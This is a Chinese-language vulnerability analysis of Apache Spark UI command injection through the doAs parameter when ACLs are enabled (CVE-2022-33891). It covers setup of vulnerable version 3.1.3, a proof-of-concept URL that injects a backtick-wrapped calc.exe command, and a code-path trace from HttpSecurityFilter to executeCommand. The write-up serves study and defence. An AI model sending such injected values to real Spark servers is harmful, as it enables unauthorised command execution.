漏洞简介

  Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这会检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建 Unix shell 命令并执行它。这将导致任意 shell 命令执行,因为用户 Spark 当前正在运行。此问题早先被披露为 CVE-2022-33891,但错误地声称版本 3.1.3(此后已停产)不会受到影响。此漏洞仅影响维护者不再支持的产品。建议用户升级到支持的 Apache Spark 版本,例如 3.4.0 版本。

环境搭建

https://archive.apache.org/dist/spark/spark-3.1.3/spark-3.1.3-bin-hadoop2.7.tgz

下载存在漏洞的 spark 版本,在启动时通过设定 ./spark-shell --conf spark.acls.enable=true​ 开启 ACL

也可以通过在 conf/spark-defaults.conf​ 中添加参数 spark.acls.enable true​ 开启 ACL

1683362668-217751-image-20230506144138-z3d5rq5.png

漏洞复现

构造 poc

http://127.0.0.1:4040/jobs/?doAs=`calc.exe`
1683362683-858423-image-20230506143445-mc89kmg.png 1683362693-463837-image-20230506144018-kqhznte.png

漏洞分析

.\spark-shell.cmd --driver-java-options "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" --conf spark.acls.enable=true
1683362703-440616-image-20230506161225-gl18tt9.png

故意输入错误的参数,尝试查看报错提示

1683362711-948399-image-20230506161517-0qb4xno.png

看到了整个代码的执行流程,从入口处直接到执行处

看到最后的代码是 executeAndGetOutput​

org.apache.spark.util.Utils$.executeAndGetOutput(Utils.scala:1332)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2500)
org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)

​org.apache.spark.ui.HttpSecurityFilter#doFilter​

1683362733-940022-image-20230506163713-228uz3b.png

org.apache.spark.SecurityManager#checkUIViewPermissions​

1683362752-892316-image-20230506163752-a6wfces.png

org.apache.spark.SecurityManager#isUserInACL​

1683362762-333319-image-20230506163831-0u39atx.png

​org.apache.spark.util.Utils$#getCurrentUserGroups​

1683362776-607634-image-20230506163920-0g0zjwp.png

org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups​

1683362791-721779-image-20230506163958-tl9d0ch (2).png

org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups​

1683362805-153245-image-20230506164032-ukv2z4z.png

org.apache.spark.util.Utils$#executeAndGetOutput​

1683362818-951470-image-20230506164120-k8lndbx.png

org.apache.spark.util.Utils$#executeCommand​

1683362827-738989-image-20230506164155-m15p9q2.png